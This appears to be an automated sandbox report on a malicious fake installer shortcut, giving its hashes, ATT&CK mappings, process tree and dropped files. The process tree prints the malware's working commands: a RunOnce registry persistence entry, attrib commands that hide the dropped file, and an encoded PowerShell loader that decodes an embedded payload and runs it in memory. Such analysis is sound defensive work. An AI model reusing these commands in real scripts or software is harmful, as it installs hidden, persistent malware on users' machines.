1d6b7413e684f70103aca0e6b259dda9728c2d7b8ce2c07d6068232e6a26aba8

General

Target

pcworldx64installer/Setup_x64.exe.lnk
Size

1KB
MD5

b1b6eb2189e0f3d7ecfea63baafca452
SHA1

af279896cf4ec2c487e5599759cee19bdd0d84b6
SHA256

0bbeb529931ee10f4cde96b33689c45b0406b3b33a55d4a0341fac2e67749b55
SHA512

b1dbf2144f13d08b7a62a7fc24681f6c8c324b56eb4048da64836ab2d83efed80c80acc9f06e44de02ddcdb31a4eefa9f244447b128d1d73cacf583eb17f66a2

Score

8^/10

evasion persistence

Malware Config

Signatures

Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

1508 attrib.exe
Executes dropped EXE 1 IoCs

Processes:

particovl.bat.exe

pid process

1980 particovl.bat.exe

pid	process
1508	attrib.exe

pid	process
1980	particovl.bat.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\particovl = "C:\\Users\\Admin\\AppData\\Roaming\\particovl.bat"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

particovl.bat.exe

pid process

1980 particovl.bat.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

particovl.bat.exe

pid process

1980 particovl.bat.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

particovl.bat.exe

description pid process

Token: SeDebugPrivilege 1980 particovl.bat.exe

pid	process
1980	particovl.bat.exe

pid	process
1980	particovl.bat.exe

description	pid	process
Token: SeDebugPrivilege	1980	particovl.bat.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

cmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 560 wrote to memory of 968	560	cmd.exe	cmd.exe
PID 560 wrote to memory of 968	560	cmd.exe	cmd.exe
PID 560 wrote to memory of 968	560	cmd.exe	cmd.exe
PID 968 wrote to memory of 1348	968	cmd.exe	cmd.exe
PID 968 wrote to memory of 1348	968	cmd.exe	cmd.exe
PID 968 wrote to memory of 1348	968	cmd.exe	cmd.exe
PID 1348 wrote to memory of 1304	1348	cmd.exe	cmd.exe
PID 1348 wrote to memory of 1304	1348	cmd.exe	cmd.exe
PID 1348 wrote to memory of 1304	1348	cmd.exe	cmd.exe
PID 1304 wrote to memory of 1660	1304	cmd.exe	reg.exe
PID 1304 wrote to memory of 1660	1304	cmd.exe	reg.exe
PID 1304 wrote to memory of 1660	1304	cmd.exe	reg.exe
PID 1304 wrote to memory of 1508	1304	cmd.exe	attrib.exe
PID 1304 wrote to memory of 1508	1304	cmd.exe	attrib.exe
PID 1304 wrote to memory of 1508	1304	cmd.exe	attrib.exe
PID 1304 wrote to memory of 1980	1304	cmd.exe	particovl.bat.exe
PID 1304 wrote to memory of 1980	1304	cmd.exe	particovl.bat.exe
PID 1304 wrote to memory of 1980	1304	cmd.exe	particovl.bat.exe
PID 1304 wrote to memory of 1980	1304	cmd.exe	particovl.bat.exe
PID 1304 wrote to memory of 928	1304	cmd.exe	attrib.exe
PID 1304 wrote to memory of 928	1304	cmd.exe	attrib.exe
PID 1304 wrote to memory of 928	1304	cmd.exe	attrib.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exe

pid process

928 attrib.exe
1508 attrib.exe

pid	process
928	attrib.exe
1508	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\Setup_x64.exe.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /T:84 /C start "Starting Installation..." /B "%CD%\README.md\entry.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\entry.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1348
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1304
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v particovl /d "C:\Users\Admin\AppData\Roaming\particovl.bat"
        5⤵
        Adds Run key to start application
        
        PID:1660
    - - C:\Windows\system32\attrib.exe
        
        attrib +s +h C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:1508
    - - C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe
        
        C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgABmVKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwAZlScAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
        5⤵
        Executes dropped EXE
        Suspicious behavior: CmdExeWriteProcessMemorySpam
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1980
    - - C:\Windows\system32\attrib.exe
        
        attrib -s -h C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe
        5⤵
        Views/modifies file attributes
        
        PID:928

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

2

T1158

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Hidden Files and Directories

Modify Registry

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/1980-94-0x00000000025E0000-0x0000000002620000-memory.dmp

Filesize
256KB

Download
memory/1980-95-0x00000000025E0000-0x0000000002620000-memory.dmp

Filesize
256KB

Download
memory/1980-96-0x00000000025E0000-0x0000000002620000-memory.dmp

Filesize
256KB

Download

Analysis

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